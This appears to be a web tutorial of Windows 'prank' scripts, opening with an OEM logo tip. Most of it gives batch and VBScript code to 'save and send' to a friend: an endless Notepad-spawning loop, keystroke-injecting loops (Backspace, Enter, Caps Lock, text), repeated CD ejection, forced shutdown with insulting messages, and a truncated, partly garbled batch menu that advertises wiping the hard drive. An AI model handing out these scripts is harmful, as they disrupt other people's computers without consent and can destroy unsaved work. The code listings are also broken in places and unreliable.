Add a photo to my computer properties

To do this:
1. Open Notepad.
2. Type the following:
[General]
Manufacturer= “your_name
3. Save as “oeminfo.ini” in the System32 folder.(Without Quote)

4. Create a bmp file(Your Photo) and save it the System32 folder as “oemlogo.bmp”(Without Quote).
The size of the image should be within 180 (wide) x120 (high) pixels

5. Now Check your My Computer Properties



Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions.
Beyond this point it is you that has the power to kill yourself. If you press ‘x’ then your PC will be formatted.
Do not come crying to me when you fried your computer or if you lost your project etc…
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you’re boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as “Anything.BAT” and send it.



Open Notepad continually in your friend’s computer

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as “Anything.BAT” and send it.



Hack your friend’s keyboard and make him type “You are a fool” simultaneously

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop

Save it as “Anything.VBS” and send it.



Frustrate your friend by making this VBScript hit Backspace simultaneously

Type :

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

Save it as “Anything.VBS” and send it.



Open Notepad, slowly type “Hello, how are you? I am good thanks” and freak your friend out

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! ”

Save it as “Anything.VBS” and send it.



Frustrate your friend by making this VBScript hit Enter simultaneously

Type :

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save it as “Anything.VBS” and send it.



Continually pop out your friend’s CD Drive. If he / she has more than one, it pops out all of them!

Type :

Set oWMP = CreateObject(“WMPlayer.OCX.7″)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Save it as “Anything.VBS” and send it.



Toggle your friend’s Caps Lock button simultaneously

Type :

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

Save it as “Anything.VBS” and send it.



virus- Convey your friend a lil’ message and shut down his / her computer

open a notepad

Type :

@echo off

msg * I don’t like you

shutdown -c “Error! You are too stupid!” -s

Save it as “Anything.BAT” in All Files and send it.

run the anuthing.BAT…